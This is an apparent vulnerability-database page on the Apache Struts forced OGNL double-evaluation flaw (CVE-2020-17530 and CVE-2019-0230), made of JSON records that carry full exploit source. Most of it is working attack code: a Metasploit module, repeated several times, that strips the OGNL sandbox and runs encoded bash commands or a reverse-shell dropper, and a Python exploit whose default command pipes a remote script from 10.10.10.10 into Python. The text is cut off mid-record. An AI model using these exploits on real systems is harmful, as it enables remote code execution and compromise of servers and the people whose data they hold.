Forced OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution. Affected software : Apache Struts 2.0.0 – Struts 2.5.25.
**Recent assessments:**
**wvu-r7** at December 08, 2020 6:53pm UTC reported:
See my [assessment](<https://attackerkb.com/assessments/92642728-1fa2-4a4e-9750-297f18f0cc0b>) on [CVE-2019-0230](<https://attackerkb.com/topics/mcp2xl4Va9/cve-2019-0230>). [Apache themselves](<https://cwiki.apache.org/confluence/display/WW/S2-061>) said this is similar to [S2-059](<https://cwiki.apache.org/confluence/display/WW/S2-059>).
Assessed Attacker Value: 5
Assessed Attacker Value: 5Assessed Attacker Value: 2
{"zdt": [{"lastseen": "2023-12-07T16:00:17", "description": "The Apache Struts framework, when forced, performs double evaluation of attribute values assigned to certain tags attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a tag's attributes are rendered. With a carefully crafted request, this can lead to remote code execution. This vulnerability is application dependant. A server side template must make an affected use of request data to render an HTML tag attribute.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-24T00:00:00", "type": "zdt", "title": "Apache Struts 2 Forced Multi OGNL Evaluation Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230", "CVE-2020-17530"], "modified": "2020-12-24T00:00:00", "id": "1337DAY-ID-35571", "href": "https://0day.today/exploit/description/35571", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Apache Struts 2 Forced Multi OGNL Evaluation',\n 'Description' => %q{\n The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags\n attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a\n tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).\n\n This vulnerability is application dependant. A server side template must make an affected use of request data to\n render an HTML tag attribute.\n },\n 'Author' => [\n 'Spencer McIntyre', # Metasploit module\n 'Matthias Kaiser', # discovery of CVE-2019-0230\n 'Alvaro Mu\u00f1oz', # (@pwntester) discovery of CVE-2020-17530\n 'ka1n4t', # PoC of CVE-2020-17530\n ],\n 'References' => [\n ['CVE', '2019-0230'],\n ['CVE', '2020-17530'],\n ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-059'],\n ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-061'],\n ['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-059'],\n ['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-061'],\n ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2'],\n ['URL', 'https://github.com/ka1n4t/CVE-2020-17530'],\n ],\n 'Privileged' => false,\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n }\n }\n ]\n ],\n 'DisclosureDate' => '2020-09-14', # CVE-2019-0230 NVD publication date\n 'Notes' =>\n {\n 'Stability' => [ CRASH_SAFE, ],\n 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],\n 'Reliability' => [ REPEATABLE_SESSION, ]\n },\n 'DefaultTarget' => 0\n )\n )\n\n register_options([\n Opt::RPORT(8080),\n OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),\n OptString.new('NAME', [ true, 'The HTTP query parameter or form data name', 'id']),\n OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-17530', ['CVE-2020-17530', 'CVE-2019-0230']])\n ])\n register_advanced_options([\n OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),\n OptString.new('HttpCookie', [false, 'An optional cookie to include when making the HTTP request'])\n ])\n end\n\n def check\n num1 = rand(1000..9999)\n num2 = rand(1000..9999)\n\n res = send_request_cgi(build_http_request(datastore['CVE'], \"#{num1}*#{num2}\"))\n if res.nil?\n return CheckCode::Unknown\n elsif res.body.scan(/([\"'])\\s*#{(num1 * num2)}\\s*\\1/).empty?\n return CheckCode::Safe\n end\n\n return CheckCode::Appears\n end\n\n def exploit\n cve = datastore['CVE']\n print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']} using #{cve}\")\n\n if cve == 'CVE-2019-0230'\n ognl = []\n ognl << '#context=#attr[\\'struts.valueStack\\'].context'\n ognl << '#container=#context[\\'com.opensymphony.xwork2.ActionContext.container\\']'\n ognl << '#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)'\n ognl << '#ognlUtil.setExcludedClasses(\\'\\')'\n ognl << '#ognlUtil.setExcludedPackageNames(\\'\\')'\n res = send_request_cgi(build_http_request(cve, ognl))\n fail_with(Failure::UnexpectedReply, 'Failed to execute the OGNL preamble') unless res&.code == 200\n end\n\n case target['Type']\n when :unix_cmd\n execute_command(payload.encoded, { cve: cve })\n when :linux_dropper\n execute_cmdstager({ cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 512 })\n end\n end\n\n def execute_command(cmd, opts = {})\n send_request_cgi(build_http_request(opts[:cve], build_ognl(opts[:cve], cmd)), 5)\n end\n\n def build_http_request(cve, ognl)\n ognl = ognl.map { |part| \"(#{part})\" }.join('.') if ognl.is_a? Array\n\n http_request_parameters = { 'uri' => normalize_uri(target_uri.path) }\n http_request_parameters['cookie'] = datastore['HttpCookie'] unless datastore['HttpCookie'].blank?\n if cve == 'CVE-2019-0230'\n http_request_parameters['method'] = 'GET'\n http_request_parameters['vars_get'] = { datastore['NAME'] => \"%{#{ognl}}\" }\n elsif cve == 'CVE-2020-17530'\n http_request_parameters['method'] = 'POST'\n http_request_parameters['vars_post'] = { datastore['NAME'] => \"%{#{ognl}}\" }\n end\n http_request_parameters\n end\n\n def build_ognl(cve, cmd)\n cmd = \"bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash\"\n ognl = []\n if cve == 'CVE-2019-0230'\n ognl << '#context=#attr[\\'struts.valueStack\\'].context'\n ognl << '#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)'\n ognl << \"@java.lang.Runtime@getRuntime().exec(\\\"#{cmd}\\\")\"\n elsif cve == 'CVE-2020-17530'\n ognl << '#instancemanager=#application[\"org.apache.tomcat.InstanceManager\"]'\n ognl << '#stack=#attr[\"com.opensymphony.xwork2.util.ValueStack.ValueStack\"]'\n ognl << '#bean=#instancemanager.newInstance(\"org.apache.commons.collections.BeanMap\")'\n ognl << '#bean.setBean(#stack)'\n ognl << '#context=#bean.get(\"context\")'\n ognl << '#bean.setBean(#context)'\n ognl << '#macc=#bean.get(\"memberAccess\")'\n ognl << '#bean.setBean(#macc)'\n ognl << '#emptyset=#instancemanager.newInstance(\"java.util.HashSet\")'\n ognl << '#bean.put(\"excludedClasses\",#emptyset)'\n ognl << '#bean.put(\"excludedPackageNames\",#emptyset)'\n ognl << '#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute\")'\n ognl << \"#execute.exec({\\\"#{cmd}\\\"})\"\n end\n\n ognl\n end\nend\n", "sourceHref": "https://0day.today/exploit/35571", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-07T16:01:01", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-17T00:00:00", "type": "zdt", "title": "Apache Struts 2.5.20 - Double OGNL evaluation Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230", "CVE-2020-0230"], "modified": "2020-11-17T00:00:00", "id": "1337DAY-ID-35263", "href": "https://0day.today/exploit/description/35263", "sourceData": "# Exploit Title: Apache Struts 2.5.20 - Double OGNL evaluation\n# Exploit Author: West Shepherd\n# Vendor Homepage: https://struts.apache.org/download.cgi\n# Version: Struts 2.0.0 - Struts 2.5.20 (S2-059)\n# CVE : CVE-2019-0230\n# Credit goes to reporters Matthias Kaiser, Apple InformationSecurity, and the Github example from PrinceFPF.\n# Source(s):\n# https://github.com/PrinceFPF/CVE-2019-0230\n# https://cwiki.apache.org/confluence/display/WW/S2-059\n# *Fix it, upgrade to: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.22\n\n# !/usr/bin/python\nfrom sys import argv, exit, stdout, stderr\nimport argparse\nimport requests\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nimport logging\n\n\nclass Exploit:\n def __init__(\n self,\n target='',\n redirect=False,\n proxy_address=''\n ):\n requests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n self.target = target\n self.session = requests.session()\n self.redirect = redirect\n self.timeout = 0.5\n self.proxies = {\n 'http': 'http://%s' % proxy_address,\n 'https': 'http://%s' % proxy_address\n } \\\n if proxy_address is not None \\\n and proxy_address != '' else {}\n self.query_params = {}\n self.form_values = {}\n self.cookies = {}\n boundary = \"---------------------------735323031399963166993862150\"\n self.headers = {\n 'Content-Type': 'multipart/form-data; boundary=%s' % boundary,\n 'Accept': '*/*',\n 'Connection': 'close'\n }\n payload = \"%{(#nike='multipart/form-data').\" \\\n \"(#[email\u00a0protected]@DEFAULT_MEMBER_ACCESS).\" \\\n \"(#_memberAccess?(#_memberAccess=#dm):\" \\\n\n\"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\"\n\\\n\n\"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).\"\n\\\n \"(#ognlUtil.getExcludedPackageNames().clear()).\" \\\n \"(#ognlUtil.getExcludedClasses().clear()).\" \\\n \"(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}').\" \\\n\n\"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).\"\n\\\n\n\"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).\" \\\n \"(#p=new\njava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).\" \\\n\n\"(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().\"\n\\\n\n\"getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).\"\n\\\n \"(#ros.flush())}\"\n\n self.payload = \"--%s\\r\\nContent-Disposition: form-data;\nname=\\\"foo\\\"; \" \\\n \"filename=\\\"%s\\0b\\\"\\r\\nContent-Type:\ntext/plain\\r\\n\\r\\nx\\r\\n--%s--\\r\\n\\r\\n\" % (\n boundary, payload, boundary\n )\n\n def do_get(self, url, params=None, data=None):\n return self.session.get(\n url=url,\n verify=False,\n allow_redirects=self.redirect,\n headers=self.headers,\n cookies=self.cookies,\n proxies=self.proxies,\n data=data,\n params=params\n )\n\n def do_post(self, url, data=None, params=None):\n return self.session.post(\n url=url,\n data=data,\n verify=False,\n allow_redirects=self.redirect,\n headers=self.headers,\n cookies=self.cookies,\n proxies=self.proxies,\n params=params\n )\n\n def debug(self):\n try:\n import http.client as http_client\n except ImportError:\n import httplib as http_client\n http_client.HTTPConnection.debuglevel = 1\n logging.basicConfig()\n logging.getLogger().setLevel(logging.DEBUG)\n requests_log = logging.getLogger(\"requests.packages.urllib3\")\n requests_log.setLevel(logging.DEBUG)\n requests_log.propagate = True\n return self\n\n def send_payload(self, command='curl --insecure -sv\nhttps://10.10.10.10/shell.py|python -'):\n url = self.target\n stdout.write('sending payload to %s payload %s' % (url, command))\n resp = self.do_post(url=url, params=self.query_params,\ndata=self.payload.replace('{COMMAND}', command))\n return resp\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(add_help=True,\n description='CVE-2020-0230 Struts\n2 exploit')\n try:\n parser.add_argument('-target', action='store', help='Target\naddress: http(s)://target.com/index.action')\n parser.add_argument('-command', action='store',\n help='Command to execute: touch /tmp/pwn')\n parser.add_argument('-debug', action='store', default=False,\nhelp='Enable debugging: False')\n parser.add_argument('-proxy', action='store', default='',\nhelp='Enable proxy: 10.10.10.10:8080')\n\n if len(argv) == 1:\n parser.print_help()\n exit(1)\n options = parser.parse_args()\n\n exp = Exploit(\n proxy_address=options.proxy,\n target=options.target\n )\n\n if options.debug:\n exp.debug()\n stdout.write('target %s debug %s proxy %s\\n' % (\n options.target, options.debug, options.proxy\n ))\n\n result = exp.send_payload(command=options.command)\n stdout.write('Response: %d\\n' % result.status_code)\n\n except Exception as error:\n\nstderr.write('error in main %s' % str(error))\n", "sourceHref": "https://0day.today/exploit/35263", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2020-12-24T21:49:19", "description": "", "cvss3": {}, "published": "2020-12-24T00:00:00", "type": "packetstorm", "title": "Apache Struts 2 Forced Multi OGNL Evaluation", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-0230", "CVE-2020-17530"], "modified": "2020-12-24T00:00:00", "id": "PACKETSTORM:160721", "href": "https://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Apache Struts 2 Forced Multi OGNL Evaluation', \n'Description' => %q{ \nThe Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags \nattributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a \ntag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE). \n \nThis vulnerability is application dependant. A server side template must make an affected use of request data to \nrender an HTML tag attribute. \n}, \n'Author' => [ \n'Spencer McIntyre', # Metasploit module \n'Matthias Kaiser', # discovery of CVE-2019-0230 \n'Alvaro Mu\u00f1oz', # (@pwntester) discovery of CVE-2020-17530 \n'ka1n4t', # PoC of CVE-2020-17530 \n], \n'References' => [ \n['CVE', '2019-0230'], \n['CVE', '2020-17530'], \n['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-059'], \n['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-061'], \n['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-059'], \n['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-061'], \n['URL', 'https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2'], \n['URL', 'https://github.com/ka1n4t/CVE-2020-17530'], \n], \n'Privileged' => false, \n'Targets' => [ \n[ \n'Unix Command', \n{ \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'Type' => :unix_cmd \n} \n], \n[ \n'Linux Dropper', \n{ \n'Platform' => 'linux', \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :linux_dropper, \n'DefaultOptions' => { \n'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' \n} \n} \n] \n], \n'DisclosureDate' => '2020-09-14', # CVE-2019-0230 NVD publication date \n'Notes' => \n{ \n'Stability' => [ CRASH_SAFE, ], \n'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], \n'Reliability' => [ REPEATABLE_SESSION, ] \n}, \n'DefaultTarget' => 0 \n) \n) \n \nregister_options([ \nOpt::RPORT(8080), \nOptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]), \nOptString.new('NAME', [ true, 'The HTTP query parameter or form data name', 'id']), \nOptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-17530', ['CVE-2020-17530', 'CVE-2019-0230']]) \n]) \nregister_advanced_options([ \nOptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]), \nOptString.new('HttpCookie', [false, 'An optional cookie to include when making the HTTP request']) \n]) \nend \n \ndef check \nnum1 = rand(1000..9999) \nnum2 = rand(1000..9999) \n \nres = send_request_cgi(build_http_request(datastore['CVE'], \"#{num1}*#{num2}\")) \nif res.nil? \nreturn CheckCode::Unknown \nelsif res.body.scan(/([\"'])\\s*#{(num1 * num2)}\\s*\\1/).empty? \nreturn CheckCode::Safe \nend \n \nreturn CheckCode::Appears \nend \n \ndef exploit \ncve = datastore['CVE'] \nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']} using #{cve}\") \n \nif cve == 'CVE-2019-0230' \nognl = [] \nognl << '#context=#attr[\\'struts.valueStack\\'].context' \nognl << '#container=#context[\\'com.opensymphony.xwork2.ActionContext.container\\']' \nognl << '#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)' \nognl << '#ognlUtil.setExcludedClasses(\\'\\')' \nognl << '#ognlUtil.setExcludedPackageNames(\\'\\')' \nres = send_request_cgi(build_http_request(cve, ognl)) \nfail_with(Failure::UnexpectedReply, 'Failed to execute the OGNL preamble') unless res&.code == 200 \nend \n \ncase target['Type'] \nwhen :unix_cmd \nexecute_command(payload.encoded, { cve: cve }) \nwhen :linux_dropper \nexecute_cmdstager({ cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 512 }) \nend \nend \n \ndef execute_command(cmd, opts = {}) \nsend_request_cgi(build_http_request(opts[:cve], build_ognl(opts[:cve], cmd)), 5) \nend \n \ndef build_http_request(cve, ognl) \nognl = ognl.map { |part| \"(#{part})\" }.join('.') if ognl.is_a? Array \n \nhttp_request_parameters = { 'uri' => normalize_uri(target_uri.path) } \nhttp_request_parameters['cookie'] = datastore['HttpCookie'] unless datastore['HttpCookie'].blank? \nif cve == 'CVE-2019-0230' \nhttp_request_parameters['method'] = 'GET' \nhttp_request_parameters['vars_get'] = { datastore['NAME'] => \"%{#{ognl}}\" } \nelsif cve == 'CVE-2020-17530' \nhttp_request_parameters['method'] = 'POST' \nhttp_request_parameters['vars_post'] = { datastore['NAME'] => \"%{#{ognl}}\" } \nend \nhttp_request_parameters \nend \n \ndef build_ognl(cve, cmd) \ncmd = \"bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash\" \nognl = [] \nif cve == 'CVE-2019-0230' \nognl << '#context=#attr[\\'struts.valueStack\\'].context' \nognl << '#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)' \nognl << \"@java.lang.Runtime@getRuntime().exec(\\\"#{cmd}\\\")\" \nelsif cve == 'CVE-2020-17530' \nognl << '#instancemanager=#application[\"org.apache.tomcat.InstanceManager\"]' \nognl << '#stack=#attr[\"com.opensymphony.xwork2.util.ValueStack.ValueStack\"]' \nognl << '#bean=#instancemanager.newInstance(\"org.apache.commons.collections.BeanMap\")' \nognl << '#bean.setBean(#stack)' \nognl << '#context=#bean.get(\"context\")' \nognl << '#bean.setBean(#context)' \nognl << '#macc=#bean.get(\"memberAccess\")' \nognl << '#bean.setBean(#macc)' \nognl << '#emptyset=#instancemanager.newInstance(\"java.util.HashSet\")' \nognl << '#bean.put(\"excludedClasses\",#emptyset)' \nognl << '#bean.put(\"excludedPackageNames\",#emptyset)' \nognl << '#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute\")' \nognl << \"#execute.exec({\\\"#{cmd}\\\"})\" \nend \n \nognl \nend \nend \n`\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/160721/struts2_multi_eval_ognl.rb.txt"}, {"lastseen": "2020-11-18T03:43:19", "description": "", "cvss3": {}, "published": "2020-11-17T00:00:00", "type": "packetstorm", "title": "Apache Struts 2.5.20 Double OGNL Evaluation", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-0230", "CVE-2020-0230"], "modified": "2020-11-17T00:00:00", "id": "PACKETSTORM:160108", "href": "https://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.html", "sourceData": "`# Exploit Title: Apache Struts 2.5.20 - Double OGNL evaluation \n# Date: 08/18/2020 \n# Exploit Author: West Shepherd \n# Vendor Homepage: https://struts.apache.org/download.cgi \n# Version: Struts 2.0.0 - Struts 2.5.20 (S2-059) \n# CVE : CVE-2019-0230 \n# Credit goes to reporters Matthias Kaiser, Apple InformationSecurity, and the Github example from PrinceFPF. \n# Source(s): \n# https://github.com/PrinceFPF/CVE-2019-0230 \n# https://cwiki.apache.org/confluence/display/WW/S2-059 \n# *Fix it, upgrade to: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.22 \n \n# !/usr/bin/python \nfrom sys import argv, exit, stdout, stderr \nimport argparse \nimport requests \nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning \nimport logging \n \n \nclass Exploit: \ndef __init__( \nself, \ntarget='', \nredirect=False, \nproxy_address='' \n): \nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning) \nself.target = target \nself.session = requests.session() \nself.redirect = redirect \nself.timeout = 0.5 \nself.proxies = { \n'http': 'http://%s' % proxy_address, \n'https': 'http://%s' % proxy_address \n} \\ \nif proxy_address is not None \\ \nand proxy_address != '' else {} \nself.query_params = {} \nself.form_values = {} \nself.cookies = {} \nboundary = \"---------------------------735323031399963166993862150\" \nself.headers = { \n'Content-Type': 'multipart/form-data; boundary=%s' % boundary, \n'Accept': '*/*', \n'Connection': 'close' \n} \npayload = \"%{(#nike='multipart/form-data').\" \\ \n\"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).\" \\ \n\"(#_memberAccess?(#_memberAccess=#dm):\" \\ \n \n\"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\" \n\\ \n \n\"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).\" \n\\ \n\"(#ognlUtil.getExcludedPackageNames().clear()).\" \\ \n\"(#ognlUtil.getExcludedClasses().clear()).\" \\ \n\"(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}').\" \\ \n \n\"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).\" \n\\ \n \n\"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).\" \\ \n\"(#p=new \njava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).\" \\ \n \n\"(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().\" \n\\ \n \n\"getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).\" \n\\ \n\"(#ros.flush())}\" \n \nself.payload = \"--%s\\r\\nContent-Disposition: form-data; \nname=\\\"foo\\\"; \" \\ \n\"filename=\\\"%s\\0b\\\"\\r\\nContent-Type: \ntext/plain\\r\\n\\r\\nx\\r\\n--%s--\\r\\n\\r\\n\" % ( \nboundary, payload, boundary \n) \n \ndef do_get(self, url, params=None, data=None): \nreturn self.session.get( \nurl=url, \nverify=False, \nallow_redirects=self.redirect, \nheaders=self.headers, \ncookies=self.cookies, \nproxies=self.proxies, \ndata=data, \nparams=params \n) \n \ndef do_post(self, url, data=None, params=None): \nreturn self.session.post( \nurl=url, \ndata=data, \nverify=False, \nallow_redirects=self.redirect, \nheaders=self.headers, \ncookies=self.cookies, \nproxies=self.proxies, \nparams=params \n) \n \ndef debug(self): \ntry: \nimport http.client as http_client \nexcept ImportError: \nimport httplib as http_client \nhttp_client.HTTPConnection.debuglevel = 1 \nlogging.basicConfig() \nlogging.getLogger().setLevel(logging.DEBUG) \nrequests_log = logging.getLogger(\"requests.packages.urllib3\") \nrequests_log.setLevel(logging.DEBUG) \nrequests_log.propagate = True \nreturn self \n \ndef send_payload(self, command='curl --insecure -sv \nhttps://10.10.10.10/shell.py|python -'): \nurl = self.target \nstdout.write('sending payload to %s payload %s' % (url, command)) \nresp = self.do_post(url=url, params=self.query_params, \ndata=self.payload.replace('{COMMAND}', command)) \nreturn resp \n \n \nif __name__ == '__main__': \nparser = argparse.ArgumentParser(add_help=True, \ndescription='CVE-2020-0230 Struts \n2 exploit') \ntry: \nparser.add_argument('-target', action='store', help='Target \naddress: http(s)://target.com/index.action') \nparser.add_argument('-command', action='store', \nhelp='Command to execute: touch /tmp/pwn') \nparser.add_argument('-debug', action='store', default=False, \nhelp='Enable debugging: False') \nparser.add_argument('-proxy', action='store', default='', \nhelp='Enable proxy: 10.10.10.10:8080') \n \nif len(argv) == 1: \nparser.print_help() \nexit(1) \noptions = parser.parse_args() \n \nexp = Exploit( \nproxy_address=options.proxy, \ntarget=options.target \n) \n \nif options.debug: \nexp.debug() \nstdout.write('target %s debug %s proxy %s\\n' % ( \noptions.target, options.debug, options.proxy \n)) \n \nresult = exp.send_payload(command=options.command) \nstdout.write('Response: %d\\n' % result.status_code) \n \nexcept Exception as error: \n \nstderr.write('error in main %s' % str(error)) \n`\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/160108/apachestruts2520-eval.txt"}], "metasploit": [{"lastseen": "2022-11-03T06:46:29", "description": "The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE). This vulnerability is application dependant. A server side template must make an affected use of request data to render an HTML tag attribute.\n", "cvss3": {}, "published": "2020-12-16T00:17:35", "type": "metasploit", "title": "Apache Struts 2 Forced Multi OGNL Evaluation", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-0230", "CVE-2020-17530"], "modified": "2021-08-27T16:19:43", "id": "MSF:EXPLOIT-MULTI-HTTP-STRUTS2_MULTI_EVAL_OGNL-", "href": "https://www.rapid7.com/db/modules/exploit/multi/http/struts2_multi_eval_ognl/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Apache Struts 2 Forced Multi OGNL Evaluation',\n 'Description' => %q{\n The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags\n attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a\n tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).\n\n This vulnerability is application dependant. A server side template must make an affected use of request data to\n render an HTML tag attribute.\n },\n 'Author' => [\n 'Spencer McIntyre', # Metasploit module\n 'Matthias Kaiser', # discovery of CVE-2019-0230\n 'Alvaro Mu\u00f1oz', # (@pwntester) discovery of CVE-2020-17530\n 'ka1n4t', # PoC of CVE-2020-17530\n ],\n 'References' => [\n ['CVE', '2019-0230'],\n ['CVE', '2020-17530'],\n ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-059'],\n ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-061'],\n ['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-059'],\n ['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-061'],\n ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2'],\n ['URL', 